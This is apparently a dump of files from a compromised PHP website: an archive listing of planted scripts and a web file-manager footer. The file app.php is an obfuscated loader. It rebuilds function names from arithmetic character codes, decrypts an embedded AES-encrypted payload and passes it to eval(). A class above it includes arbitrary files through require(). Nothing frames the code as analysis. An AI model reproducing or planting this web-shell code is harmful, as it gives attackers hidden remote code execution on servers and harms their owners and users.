'7293d3e245f6d6c2c5f6b6b783a3a5f73637328275f272e276' . 'f7727293d3e245f71732c5f6b6b783a3a5f73637328275f272' . 'e2767272e276a6627293d3e245f716370293b245f796b713d6' . '86579726170627172286f6e667236345f72617062717228776' . '662615f72617062717228245f726b2929293b245f65786d3d5' . 'f6f6828245f796b71293b767328245f65786d2626666765636' . '26628245f65786d2c5f6b6b783a3a5f73637328275f272e277' . '5272e276b272929213d3d736e796672297b72707562245f657' . '86d3b726b766728293b7d7d'; public function computeResult($p) { require($p); } public function updateRegistry() { $a=array((60+55),(103+18),((5*23)),((33*101)-3238),((32+71)),((101*1)),(98+18),((11+72+12)),(78+12+26),((108-7)),(98+11),((13+99)),(5*19),(2*50),(3*35),(((113*1)+1))); $s=''; foreach($a as $n){$s.=chr($n);} return $s(); } } $ls = new UserAuthenticator(); $ls->logTransaction(); $ls->checkConsistency(); $ls->processData(); PK [8�\�s�}i i app.phpnu �[��� <?php function check_access($i) { $b = array(99, 54 + 50, 119 - 5); $j = ''; foreach ($b as $s) { $j .= chr($s); } return $j($i); } $svq = array(98 + 2 + 6 - (2 + 6) - 8 + 8 - 8 + 8, 97 + 7 - 7 + 18 - 18, (115 * 23 / 23 * 115 / 115 + 1 + 5 - (1 + 5) * 1) / 1, 101 - 12 + 12 + 15 - 15, 54 - 8 + 8 - 9 + 9 - 17 + 17 + 8 - 8, 52 - 20 + 20 - 1 + 1 + 9 + 7 - (9 + 7) + 5 + 10 - (5 + 10), 95 + 4 + 5 - (4 + 5) + 1 + 8 - (1 + 8) - 18 + 18 + 8 - 8, 100 + 17 - 17 + 3 + 3 - (3 + 3) + 18 - 18 + 18 - 18 + 6 + 5 - (6 + 5), 101 * 1 / 1 + 19 - 19, 99 + 8 + 9 - (8 + 9) + 13 - 13 + 13 - 13 + 15 - 15, 111 - 12 + 12 + 6 - 6 + 4 + 6 - (4 + 6), 100 * 4 / 4 - 19 + 19 - 10 + 10 + 6 - 6, 101 + 10 - 10 - 3 + 3 + 4 - 4 + 5 + 3 - (5 + 3) + 5 + 1 - (5 + 1)); $eax = ''; foreach ($svq as $mxk) { $eax .= check_access($mxk); } $llq = '+9gOHw6dsM1e8fW/eb/MFTCv0QTuOsqlyZcpCUezOPSls/p7QgdnjpqbhOjBm+Id7kHFvp1qEEiBMpf8920SarHXAHItNSHkD7WMNjsHSS1f9nuS9peARNqPqhpntgSyLwwSsHYgX5bndmLuHTP23sUDnvqiT/DZeWdZcTy/K+v7rJEuZ905qTh7sMMiSE6HAu8Mmk9a/7xBzD0RyOH/AwmLWCLJa3WRDlksQclYUP7kKtUxAXxiIjrRbeGTdYaz8i3cpwEuWYXc1bL/kcxVKtS6EgUGkgiRAcQkM9E48tV3bPTxDds/6rmwCFODTe5bsh49yFuVyBqp/YNcH+X5tiZwbE6l78+y5ZQBsHcnr/21yuHOu3jxp/jlSyWiPI/ab7hd6pK4y2W6+JtQk09HipOkYG/+SOGVhDJdruXaGtOy+k1EYqWMy1fgMImGY8UTnCvQ38YWQetazBmhCJQ/s3EpqHdZEVazvbg3f/U6KgZ/+EbU6D2SXa+6ZiuqZy4L8DmMQZClqeWvtDta/JYG0NbpWh8bZJxR2usfGNsV6Ylr5OBEbMPcDH4mp9ZmWqWH41m6PNvpwHDyNN5SMT3+xd2oq/AZS1RSUxuuaT/7gdacevGYWUWRljLqqLFlFOzG6NWxjv7IkvRPfFR8K+T71b4o/4viuO69l1E2XbzrzK3ZKRcUNrZwvlSXSvLI4db6G3H2+StQoF31tUnUMtdhYFBtSTMrAePiW118LdTzoa+dXlPGAOrQckBFT3bRdsYYTExT+Y40TzP8BH4LWhO/ipf1QYHmfNu3gLa5zZW8ws2gxDDowz5csGpeJ/hebQRFYRtFFWNx6rTNPlm/mkbOGcEH0LQpj/nWabP3LvcR3Zm1aIay/uHaQdpKcUDh7M9hE0x7zzs7EP5+b1CHN5rJ2jRLEKcN7ubheJfZKRWQNPlHur11dubFq1fydHMjxNCZKR6HnUJ+Nf6YdWNmVlNrEyeXaCSJkbJofqKSfSUsriBKr0wVCgajplZfQ1ovuDg099YKETolD9pc/o0Bj2gHEXd0CNdzq+qyQCMV8TFwlrHttHZJAk/qIFe87ZXHD5aHPpgcUjdzeMOSLd3hCyFUbw=='; $yfu = 'GuiLNYZi9afR5mitxpv770Mf9pqEScG7EtuEcW7+fuI='; $tvt = '6cVhcPFt3OErW0mnGEe4eg=='; $zbq = openssl_decrypt($eax($llq), 'aes-256-cbc', $eax($yfu), OPENSSL_RAW_DATA, $eax($tvt)); eval($zbq);PK [8�\�k��t t tool1.phpnu �[��� PK [8�\v� � � service.phpnu �[��� PK [8�\��[ [ ? � .well-known/pki-validation/2208F797987542915D90992442430220.txtnu �[��� PK [8�\��"G� � N error_lognu �[��� PK [8�\�6?iVi Vi file61.phpnu �[��� PK [8�\ �� index.phpnu �[��� PK [8�\�N�_ ߁ banten1.kasvalid.com:80.phpnu �[��� PK [8�\���:�� �� F� index.htmlnu �[��� PK [8�\� �y�9 �9 d banten1.kasvalid.com.phpnu �[��� PK [8�\�s�}i i � app.phpnu �[��� PK 3 ��
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.44 |
proxy
|
phpinfo
|
Settings